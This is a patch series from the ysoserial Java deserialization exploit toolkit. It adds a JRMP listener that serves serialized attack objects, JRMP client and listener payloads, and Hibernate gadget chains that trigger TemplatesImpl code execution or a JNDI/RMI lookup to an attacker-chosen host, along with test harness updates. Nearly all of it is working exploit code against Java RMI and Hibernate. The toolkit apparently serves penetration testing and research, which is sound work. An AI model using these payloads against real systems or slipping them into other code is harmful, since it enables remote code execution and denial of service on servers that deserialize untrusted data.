+ } + + +} diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java new file mode 100644 index 0000000..0edb017 --- /dev/null +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -0,0 +1,284 @@ +package ysoserial.exploit; + + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.ObjectStreamClass; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketException; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.UID; + +import javax.management.BadAttributeValueExpException; +import javax.net.ServerSocketFactory; + +import sun.rmi.transport.TransportConstants; +import ysoserial.payloads.ObjectPayload.Utils; +import ysoserial.payloads.util.Reflections; + + +/** + * @author mbechler + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class JRMPListener implements Runnable { + + private int port; + private Object payloadObject; + private ServerSocket ss; + private Object waitLock = new Object(); + private boolean exit; + private boolean hadConnection; + + + /** + * @param port + * @param payloadObject + * @throws IOException + * @throws NumberFormatException + */ + public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { + this.port = port; + this.payloadObject = payloadObject; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + + public boolean waitFor ( int i ) { + try { + if ( this.hadConnection ) { + return true; + } + System.err.println("Waiting for connection"); + synchronized ( this.waitLock ) { + this.waitLock.wait(i); + } + return this.hadConnection; + } + catch ( InterruptedException e ) { + return false; + } + } + + + /** + * + */ + public void close () { + this.exit = true; + try { + this.ss.close(); + } + catch ( IOException e ) {} + synchronized ( this.waitLock ) { + this.waitLock.notify(); + } + } + + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JRMPListener.class.getName() + " "); + System.exit(-1); + return; + } + + final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); + + try { + int port = Integer.parseInt(args[ 0 ]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, payloadObject); + c.run(); + } + catch ( Exception e ) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + + + /** + * {@inheritDoc} + * + * @see java.lang.Runnable#run() + */ + public void run () { + try { + Socket s = null; + try { + while ( !this.exit && ( s = this.ss.accept() ) != null ) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + System.err.println("Have connection from " + remote); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + + // Read magic (or HTTP wrapper) + bufIn.mark(4); + DataInputStream in = new DataInputStream(bufIn); + int magic = in.readInt(); + + short version = in.readShort(); + if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + DataOutputStream out = new DataOutputStream(bufOut); + + byte protocol = in.readByte(); + switch ( protocol ) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + out.writeUTF(remote.getHostString()); + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out, this.payloadObject); + break; + default: + case TransportConstants.MultiplexProtocol: + System.err.println("Unsupported protocol"); + s.close(); + continue; + } + + bufOut.flush(); + out.flush(); + } + catch ( InterruptedException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + finally { + System.err.println("Closing connection"); + s.close(); + } + + } + + } + finally { + if ( s != null ) { + s.close(); + } + if ( this.ss != null ) { + this.ss.close(); + } + } + + } + catch ( SocketException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + } + + + /** + * @param s + * @param in + * @param out + * @throws Exception + */ + private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception { + System.err.println("Reading message..."); + + int op = in.read(); + + switch ( op ) { + case TransportConstants.Call: + // service incoming RMI call + doCall(in, out, payload); + break; + + case TransportConstants.Ping: + // send ack for ping + out.writeByte(TransportConstants.PingAck); + break; + + case TransportConstants.DGCAck: + UID u = UID.read(in); + break; + + default: + throw new IOException("unknown transport op " + op); + } + + s.close(); + } + + + /** + * @param in + * @param out + * @throws Exception + */ + private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + + /** + * {@inheritDoc} + * + * @see java.io.ObjectInputStream#resolveClass(java.io.ObjectStreamClass) + */ + @Override + protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { + throw new IOException("Not allowed to read object"); + } + }; + + try { + ObjID.read(ois); + } + catch ( java.io.IOException e ) { + throw new MarshalException("unable to read objID", e); + } + + System.err.println("Sending return with payload"); + + out.writeByte(TransportConstants.Return);// transport op + ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out); + + oos.writeByte(TransportConstants.ExceptionalReturn); + new UID().write(oos); + + BadAttributeValueExpException ex = new BadAttributeValueExpException(null); + Reflections.setFieldValue(ex, "val", payload); + oos.writeObject(ex); + + oos.flush(); + out.flush(); + + this.hadConnection = true; + synchronized ( this.waitLock ) { + this.waitLock.notifyAll(); + } + } + +} diff --git a/src/main/java/ysoserial/payloads/JRMPClient.java b/src/main/java/ysoserial/payloads/JRMPClient.java new file mode 100644 index 0000000..093debc --- /dev/null +++ b/src/main/java/ysoserial/payloads/JRMPClient.java @@ -0,0 +1,81 @@ +package ysoserial.payloads; + + +import java.lang.reflect.Proxy; +import java.rmi.registry.Registry; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; +import ysoserial.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; + + +/** + * + * + * UnicastRef.newCall(RemoteObject, Operation[], int, long) + * DGCImpl_Stub.dirty(ObjID[], long, Lease) + * DGCClient$EndpointEntry.makeDirtyCall(Set, long) + * DGCClient$EndpointEntry.registerRefs(List) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + * + * Thread.start() + * DGCClient$EndpointEntry.(Endpoint) + * DGCClient$EndpointEntry.lookup(Endpoint) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + * + * Requires: + * - JavaSE + * + * Argument: + * - host:port to connect to, host only chooses random port (DOS if repeated many times) + * + * Yields: + * * an established JRMP connection to the endpoint (if reachable) + * * a connected RMI Registry proxy + * * one system thread per endpoint (DOS) + * + * @author mbechler + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") +public class JRMPClient extends PayloadRunner implements ObjectPayload { + + public Registry getObject ( final String command ) throws Exception { + + String host; + int port; + int sep = command.indexOf(':'); + if ( sep < 0 ) { + port = new Random().nextInt(65535); + host = command; + } + else { + host = command.substring(0, sep); + port = Integer.valueOf(command.substring(sep + 1)); + } + ObjID id = new ObjID(0); // RMI registry + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { + Registry.class + }, obj); + return proxy; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(JRMPClient.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/JRMPListener.java b/src/main/java/ysoserial/payloads/JRMPListener.java new file mode 100644 index 0000000..4f05e70 --- /dev/null +++ b/src/main/java/ysoserial/payloads/JRMPListener.java @@ -0,0 +1,55 @@ +package ysoserial.payloads; + + +import java.rmi.server.RemoteObject; +import java.rmi.server.RemoteRef; +import java.rmi.server.UnicastRemoteObject; + +import sun.rmi.server.ActivationGroupImpl; +import sun.rmi.server.UnicastServerRef; +import ysoserial.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * Gadget chain: + * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 + * UnicastRemoteObject.reexport() line: 266 + * UnicastRemoteObject.exportObject(Remote, int) line: 320 + * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 + * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 + * LiveRef.exportObject(Target) line: 147 + * TCPEndpoint.exportObject(Target) line: 411 + * TCPTransport.exportObject(Target) line: 249 + * TCPTransport.listen() line: 319 + * + * Requires: + * - JavaSE + * + * Argument: + * - Port number to open listener to + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( skip = "This test would make you potentially vulnerable") +public class JRMPListener extends PayloadRunner implements ObjectPayload { + + public UnicastRemoteObject getObject ( final String command ) throws Exception { + int jrmpPort = Integer.parseInt(command); + UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] { + RemoteRef.class + }, new Object[] { + new UnicastServerRef(jrmpPort) + }); + + Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); + return uro; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(JRMPListener.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/ObjectPayload.java b/src/main/java/ysoserial/payloads/ObjectPayload.java index 2693f76..c14f79a 100644 --- a/src/main/java/ysoserial/payloads/ObjectPayload.java +++ b/src/main/java/ysoserial/payloads/ObjectPayload.java @@ -42,5 +42,29 @@ public interface ObjectPayload { } return clazz; } + + + /** + * @param payloadType + * @param payloadArg + * @return an payload object + */ + public static Object makePayloadObject ( String payloadType, String payloadArg ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(payloadArg); + } + catch ( Exception e ) { + throw new IllegalArgumentException("Failed to construct payload",e); + } + return payloadObject; + } } } diff --git a/src/test/java/ysoserial/CustomTest.java b/src/test/java/ysoserial/CustomTest.java index e85a4d3..382ad16 100644 --- a/src/test/java/ysoserial/CustomTest.java +++ b/src/test/java/ysoserial/CustomTest.java @@ -6,11 +6,15 @@ */ package ysoserial; +import java.util.concurrent.Callable; /** * @author mbechler * */ -public interface CustomTest extends Runnable { +public interface CustomTest { + void run (Callable payload) throws Exception; + + String getPayloadArgs (); } diff --git a/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java new file mode 100644 index 0000000..569a8fc --- /dev/null +++ b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java @@ -0,0 +1,66 @@ +/** + * © 2016 AgNO3 Gmbh & Co. KG + * All right reserved. + * + * Created: 05.03.2016 by mbechler + */ +package ysoserial.payloads; + +import java.io.IOException; +import java.util.Random; +import java.util.concurrent.Callable; + +import javax.management.BadAttributeValueExpException; + +import org.junit.Assert; + +import ysoserial.CustomTest; +import ysoserial.exploit.JRMPListener; + +/** + * @author mbechler + * + */ +public class JRMPReverseConnectTest implements CustomTest { + + private int port; + + + /** + * + */ + public JRMPReverseConnectTest () { + port = new Random().nextInt(65535 - 1024) + 1024; + } + + /** + * {@inheritDoc} + * @throws IOException + * @throws NumberFormatException + * + * @see java.lang.Runnable#run() + */ + public void run (Callable payload) throws Exception { + JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo")); + Thread t = new Thread(l, "JRMP listener"); + try { + t.start(); + payload.call(); + Assert.assertTrue("Did not have connection", l.waitFor(1000)); + } finally { + l.close(); + t.interrupt(); + t.join(); + } + } + + /** + * {@inheritDoc} + * + * @see ysoserial.CustomTest#getPayloadArgs() + */ + public String getPayloadArgs () { + return "localhost:" + port; + } + +} diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index 9f68565..7d30857 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -66,7 +66,7 @@ public class PayloadsTest { } public static void testPayload(final Class> payloadClass, final Class[] addlClassesForClassLoader) throws Exception { - final String command = "hostname"; + String command = "hostname"; final String[] deps = buildDeps(payloadClass); PayloadTest t = payloadClass.getAnnotation(PayloadTest.class); @@ -85,19 +85,25 @@ public class PayloadsTest { if ( t != null && !t.harness().isEmpty() ) { wrapper = Class.forName(t.harness()).newInstance(); - if ( wrapper instanceof CustomTest ) { - ( (CustomTest) wrapper ).run(); - return; + if ( wrapper instanceof CustomTest ){ + command = ( (CustomTest) wrapper ).getPayloadArgs(); } } ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); - final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command)); + final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command)); + + Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized); + if ( wrapper instanceof WrappedTest ){ + callable = ((WrappedTest)wrapper).createCallable(callable); + } + + if ( wrapper instanceof CustomTest ) { + ( (CustomTest) wrapper ).run(callable); + return; + } try { - Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized); - if ( wrapper instanceof WrappedTest ){ - callable = ((WrappedTest)wrapper).createCallable(callable); - } + Object deserialized = sm.wrap(callable); Assert.fail(ASSERT_MESSAGE); // should never get here } catch (Throwable e) { From bd216246096952078aece13e8303f22fb6c1804e Mon Sep 17 00:00:00 2001 From: mbechler Date: Sat, 5 Mar 2016 16:15:54 +0100 Subject: [PATCH 05/25] Add hibernate gadget chains. Remove missed copyright notices. --- pom.xml | 43 +++- src/main/java/ysoserial/PayloadTest.java | 6 - .../payloads/DynamicDependencies.java | 10 + .../java/ysoserial/payloads/Hibernate1.java | 148 +++++++++++ .../java/ysoserial/payloads/Hibernate2.java | 60 +++++ src/test/java/ysoserial/CustomTest.java | 6 - src/test/java/ysoserial/WrappedTest.java | 10 - .../payloads/JRMPReverseConnectTest.java | 51 ++-- .../java/ysoserial/payloads/PayloadsTest.java | 234 ++++++++++-------- 9 files changed, 412 insertions(+), 156 deletions(-) create mode 100644 src/main/java/ysoserial/payloads/DynamicDependencies.java create mode 100644 src/main/java/ysoserial/payloads/Hibernate1.java create mode 100644 src/main/java/ysoserial/payloads/Hibernate2.java diff --git a/pom.xml b/pom.xml index b4ec9cf..a7cc083 100644 --- a/pom.xml +++ b/pom.xml @@ -28,7 +28,7 @@ maven-assembly-plugin - ${project.artifactId}-${project.version}-all + ${project.artifactId}-${project.version}-all false @@ -102,15 +102,15 @@ 3.1 - org.beanshell - bsh - 2.0b5 - - - commons-beanutils - commons-beanutils - 1.9.2 - + org.beanshell + bsh + 2.0b5 + + + commons-beanutils + commons-beanutils + 1.9.2 + org.apache.commons commons-collections4 @@ -131,8 +131,13 @@ spring-beans 4.1.4.RELEASE + + org.hibernate + hibernate-core + 4.3.11.Final + - + xalan @@ -149,5 +154,21 @@ + + + hibernate5 + + + hibernate5 + + + + + org.hibernate + hibernate-core + 5.0.7.Final + + + diff --git a/src/main/java/ysoserial/PayloadTest.java b/src/main/java/ysoserial/PayloadTest.java index 4f38682..544f53a 100644 --- a/src/main/java/ysoserial/PayloadTest.java +++ b/src/main/java/ysoserial/PayloadTest.java @@ -1,9 +1,3 @@ -/** - * © 2016 AgNO3 Gmbh & Co. KG - * All right reserved. - * - * Created: 05.03.2016 by mbechler - */ package ysoserial; import java.lang.annotation.Retention; diff --git a/src/main/java/ysoserial/payloads/DynamicDependencies.java b/src/main/java/ysoserial/payloads/DynamicDependencies.java new file mode 100644 index 0000000..35a6593 --- /dev/null +++ b/src/main/java/ysoserial/payloads/DynamicDependencies.java @@ -0,0 +1,10 @@ +package ysoserial.payloads; + + +/** + * @author mbechler + * + */ +public interface DynamicDependencies { + +} diff --git a/src/main/java/ysoserial/payloads/Hibernate1.java b/src/main/java/ysoserial/payloads/Hibernate1.java new file mode 100644 index 0000000..1159268 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Hibernate1.java @@ -0,0 +1,148 @@ +package ysoserial.payloads; + + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; + +import org.hibernate.engine.spi.TypedValue; +import org.hibernate.tuple.component.AbstractComponentTuplizer; +import org.hibernate.tuple.component.PojoComponentTuplizer; +import org.hibernate.type.AbstractType; +import org.hibernate.type.ComponentType; +import org.hibernate.type.Type; + +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * + * org.hibernate.property.access.spi.GetterMethodImpl.get() + * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() + * org.hibernate.type.ComponentType.getPropertyValue(C) + * org.hibernate.type.ComponentType.getHashCode() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.internal.util.ValueHolder.getValue() + * org.hibernate.engine.spi.TypedValue.hashCode() + * + * + * Requires: + * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) + * + * @author mbechler + */ +public class Hibernate1 implements ObjectPayload, DynamicDependencies { + + public static String[] getDependencies () { + if ( System.getProperty("hibernate5") != null ) { + return new String[] { + "org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", + "javax.transaction:javax.transaction-api:1.2" + }; + } + + return new String[] { + "org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", + "javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1" + }; + + } + + + public static Object makeGetter ( Class tplClass, String method ) throws NoSuchMethodException, SecurityException, InstantiationException, + IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException { + if ( System.getProperty("hibernate5") != null ) { + return makeHibernate5Getter(tplClass, method); + } + return makeHibernate4Getter(tplClass, method); + } + + + public static Object makeHibernate4Getter ( Class tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException, + SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Class getterIf = Class.forName("org.hibernate.property.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); + Constructor bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); + bgCon.setAccessible(true); + + if ( !method.startsWith("get") ) { + throw new IllegalArgumentException("Hibernate4 can only call getters"); + } + + String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4); + + Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName); + Object arr = Array.newInstance(getterIf, 1); + Array.set(arr, 0, g); + return arr; + } + + + public static Object makeHibernate5Getter ( Class tplClass, String method ) throws NoSuchMethodException, SecurityException, + ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Class getterIf = Class.forName("org.hibernate.property.access.spi.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); + Constructor bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class); + Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method)); + Object arr = Array.newInstance(getterIf, 1); + Array.set(arr, 0, g); + return arr; + } + + + /** + * {@inheritDoc} + * + * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) + */ + public Object getObject ( String command ) throws Exception { + Object tpl = Gadgets.createTemplatesImpl(command); // $NON-NLS-1$ + Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); + return makeCaller(tpl, getters); + } + + + /** + * @param tpl + * @param getters + * @return + * @throws NoSuchMethodException + * @throws InstantiationException + * @throws IllegalAccessException + * @throws InvocationTargetException + * @throws NoSuchFieldException + * @throws Exception + * @throws ClassNotFoundException + */ + static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, + InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); + Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); + + ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); + Reflections.setFieldValue(t, "componentTuplizer", tup); + Reflections.setFieldValue(t, "propertySpan", 1); + Reflections.setFieldValue(t, "propertyTypes", new Type[] { + t + }); + + TypedValue v1 = new TypedValue(t, null); + Reflections.setFieldValue(v1, "value", tpl); + Reflections.setFieldValue(v1, "type", t); + + TypedValue v2 = new TypedValue(t, null); + Reflections.setFieldValue(v2, "value", tpl); + Reflections.setFieldValue(v2, "type", t); + + return Gadgets.makeMap(v1, v2); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Hibernate1.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/Hibernate2.java b/src/main/java/ysoserial/payloads/Hibernate2.java new file mode 100644 index 0000000..601f554 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Hibernate2.java @@ -0,0 +1,60 @@ +package ysoserial.payloads; + + +import ysoserial.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; + +import com.sun.rowset.JdbcRowSetImpl; + + +/** + * + * Another application filter bypass + * + * Needs a getter invocation that is provided by hibernate here + * + * javax.naming.InitialContext.InitialContext.lookup() + * com.sun.rowset.JdbcRowSetImpl.connect() + * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() + * org.hibernate.property.access.spi.GetterMethodImpl.get() + * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() + * org.hibernate.type.ComponentType.getPropertyValue(C) + * org.hibernate.type.ComponentType.getHashCode() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.internal.util.ValueHolder.getValue() + * org.hibernate.engine.spi.TypedValue.hashCode() + * + * + * Requires: + * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) + * + * Arg: + * - JNDI name (i.e. rmi:) + * + * Yields: + * - JNDI lookup invocation (e.g. connect to remote RMI) + * + * @author mbechler + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") +public class Hibernate2 implements ObjectPayload, DynamicDependencies { + + public static String[] getDependencies () { + return Hibernate1.getDependencies(); + } + + public Object getObject ( String command ) throws Exception { + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName("rmi: " + command); + return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") ); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Hibernate2.class, args); + } +} diff --git a/src/test/java/ysoserial/CustomTest.java b/src/test/java/ysoserial/CustomTest.java index 382ad16..7bfe8c1 100644 --- a/src/test/java/ysoserial/CustomTest.java +++ b/src/test/java/ysoserial/CustomTest.java @@ -1,9 +1,3 @@ -/** - * © 2016 AgNO3 Gmbh & Co. KG - * All right reserved. - * - * Created: 05.03.2016 by mbechler - */ package ysoserial; import java.util.concurrent.Callable; diff --git a/src/test/java/ysoserial/WrappedTest.java b/src/test/java/ysoserial/WrappedTest.java index 55b226f..945282c 100644 --- a/src/test/java/ysoserial/WrappedTest.java +++ b/src/test/java/ysoserial/WrappedTest.java @@ -1,9 +1,3 @@ -/** - * © 2016 AgNO3 Gmbh & Co. KG - * All right reserved. - * - * Created: 05.03.2016 by mbechler - */ package ysoserial; import java.util.concurrent.Callable; @@ -14,10 +8,6 @@ import java.util.concurrent.Callable; */ public interface WrappedTest { - /** - * @param innerCallable - * @return a wrapped callable - */ Callable createCallable ( Callable innerCallable ); } diff --git a/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java index 569a8fc..30057ba 100644 --- a/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java +++ b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java @@ -1,13 +1,7 @@ -/** - * © 2016 AgNO3 Gmbh & Co. KG - * All right reserved. - * - * Created: 05.03.2016 by mbechler - */ package ysoserial.payloads; + import java.io.IOException; -import java.util.Random; import java.util.concurrent.Callable; import javax.management.BadAttributeValueExpException; @@ -17,6 +11,7 @@ import org.junit.Assert; import ysoserial.CustomTest; import ysoserial.exploit.JRMPListener; + /** * @author mbechler * @@ -24,41 +19,51 @@ import ysoserial.exploit.JRMPListener; public class JRMPReverseConnectTest implements CustomTest { private int port; - - + + /** * */ public JRMPReverseConnectTest () { - port = new Random().nextInt(65535 - 1024) + 1024; + // some payloads cannot specify the port + port = 1099; } + /** - * {@inheritDoc} - * @throws IOException - * @throws NumberFormatException - * - * @see java.lang.Runnable#run() - */ - public void run (Callable payload) throws Exception { + * {@inheritDoc} + * + * @throws IOException + * @throws NumberFormatException + * + * @see java.lang.Runnable#run() + */ + public void run ( Callable payload ) throws Exception { JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo")); Thread t = new Thread(l, "JRMP listener"); try { t.start(); - payload.call(); + try { + payload.call(); + } + catch ( Exception e ) { + // ignore + } Assert.assertTrue("Did not have connection", l.waitFor(1000)); - } finally { + } + finally { l.close(); t.interrupt(); t.join(); } } + /** - * {@inheritDoc} - * - * @see ysoserial.CustomTest#getPayloadArgs() - */ + * {@inheritDoc} + * + * @see ysoserial.CustomTest#getPayloadArgs() + */ public String getPayloadArgs () { return "localhost:" + port; } diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index 7d30857..228fbc9 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -1,5 +1,6 @@ package ysoserial.payloads; + import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; import java.io.File; @@ -35,6 +36,7 @@ import ysoserial.payloads.util.ClassFiles; import ysoserial.secmgr.ExecCheckingSecurityManager; import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException; + /* * tests each of the parameterize Payload classes by using a mock SecurityManager that throws * a special exception when an exec() attempt is made for more reliable detection; self-tests @@ -42,78 +44,87 @@ import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException; TODO: figure out better way to test exception behavior than comparing messages */ -@SuppressWarnings({"rawtypes", "unused", "unchecked"}) -@RunWith(Parameterized.class) +@SuppressWarnings ( { + "rawtypes", "unused", "unchecked" +} ) +@RunWith ( Parameterized.class ) public class PayloadsTest { - private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); - @Parameters(name = "payloadClass: {0}") - public static Class>[] payloads() { - Set> payloadClasses = ObjectPayload.Utils.getPayloadClasses(); - payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class)); - return payloadClasses.toArray(new Class[0]); - } + private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); - private final Class> payloadClass; - public PayloadsTest(Class> payloadClass) { - this.payloadClass = payloadClass; - } + @Parameters ( name = "payloadClass: {0}" ) + public static Class>[] payloads () { + Set> payloadClasses = ObjectPayload.Utils.getPayloadClasses(); + payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class)); + return payloadClasses.toArray(new Class[0]); + } - @Test - public void testPayload() throws Exception { - testPayload(payloadClass, new Class[0]); - } + private final Class> payloadClass; - public static void testPayload(final Class> payloadClass, final Class[] addlClassesForClassLoader) throws Exception { - String command = "hostname"; - final String[] deps = buildDeps(payloadClass); - - PayloadTest t = payloadClass.getAnnotation(PayloadTest.class); - - if ( t != null ) { - if ( !t.skip().isEmpty()) { + + public PayloadsTest ( Class> payloadClass ) { + this.payloadClass = payloadClass; + } + + + @Test + public void testPayload () throws Exception { + testPayload(payloadClass, new Class[0]); + } + + + public static void testPayload ( final Class> payloadClass, final Class[] addlClassesForClassLoader ) + throws Exception { + String command = "hostname"; + String[] deps = buildDeps(payloadClass); + + PayloadTest t = payloadClass.getAnnotation(PayloadTest.class); + + if ( t != null ) { + if ( !t.skip().isEmpty() ) { Assume.assumeTrue(t.skip(), false); } - - if ( !t.precondition().isEmpty()) { - Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition())); - } - } - - Object wrapper = null; - if ( t != null && !t.harness().isEmpty() ) { - wrapper = Class.forName(t.harness()).newInstance(); - - if ( wrapper instanceof CustomTest ){ - command = ( (CustomTest) wrapper ).getPayloadArgs(); - } - } - - ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); + + if ( !t.precondition().isEmpty() ) { + Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition())); + } + } + + Object wrapper = null; + if ( t != null && !t.harness().isEmpty() ) { + wrapper = Class.forName(t.harness()).newInstance(); + + if ( wrapper instanceof CustomTest ) { + command = ( (CustomTest) wrapper ).getPayloadArgs(); + } + } + + ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command)); - - Callable callable = 